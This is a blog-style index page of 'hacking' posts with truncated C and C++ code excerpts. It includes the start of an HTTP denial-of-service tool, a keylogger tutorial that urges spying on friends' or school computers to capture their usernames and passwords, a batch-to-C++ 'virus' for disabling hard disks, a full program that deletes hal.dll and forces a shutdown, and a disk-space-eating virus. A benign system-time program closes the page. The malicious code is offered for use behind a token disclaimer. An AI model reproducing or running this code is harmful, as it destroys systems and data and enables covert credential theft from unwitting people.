xdos.c: A Simple HTTP DoS Tool! ~ C programming Code

A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. #define WIN32_LEAN_AND_MEAN#include <stdio.h>#include <windows.h>#include <winsock2.h>unsigned long thread = 0;static int connect_tv(struct sockaddr_in *addr, int timeout);static DWORD WINAPI dosmain(LPVOID p);const int main(int argc, char *argv[]){ if(argc != 4) { puts(“ttttXDOS – by […]

Learn To create Keylogger using C++|Basic Hacking Tutorials

Hi friends, the most interesting part  of the hacking is spying.  Today i am going to introduce to the C++ Spyware code.   It is going to be very fun.  You can install this spyware in your college/school  or in your friend system, and get their username and passwords.  This is very simple hacking trick […]

C++ ,Batch Virus code to disable All Hard disk

Hi friends,here i give you give the C++ virus code.  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also. C++ Virus Code : #include < windows.h >#include < fstream.h >#include < iostream.h >#include < string.h >#include < conio.h >int main(){ofstream write ( “C:\WINDOWS\system32\HackingStar.bat” ); […]

C++ virus that deletes the hal.dll file in system32

Hi in this article i will give you the c++ virus code.  Don’t use for any illegal purpose.  This is just for learning purpose only. #include<stdio.h>#include<stdlib.h> using namespace std; int main(int argc, char *argv[]){std::remove(“%systemroot%\system32\hal.dll”); //PWNAGE TIMEsystem(“shutdown -s -r”);system(“PAUSE”);return EXIT_SUCCESS;} Above code will find the system32 folder and deletes the “hal.dll” file Hal.dll Hal.dll is Windows’ […]

C program Memory Space Eater virus

Hi friends this is BreakTheSec. I am going to give you C program to eat the memory in Hard drive. This virus is able to eat the memory space 1 GB per minute. So Becareful with this virus. #include<stdio.h>#include<conio.h>#include<dos.h>#include<stdlib.h>FILE *a,*t,*b;int r,status,vir_count;double i;char ch[]=”CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE”,choice; void eatspace(void);void findroot(void);void showstatus(void);void draw(void);void […]

C Program to Set/Change the Current System Time

#include <stdio.h>#include<dos.h>int main(void){struct time t;gettime(&t);printf(“The current hour is: %dn”, t.ti_hour);printf(“The current min is: %dn”, t.ti_min);printf(“The current second is: %dn”, t.ti_sec); /* Add one to the hour,minute & sec struct element and then call settime */ t.ti_hour++;t.ti_min++;t.ti_sec++;settime(&t);printf(“The current hour is: %dn”, t.ti_hour);printf(“The current min is: %dn”, t.ti_min);printf(“The current second is: %dn”, t.ti_sec);return 0;}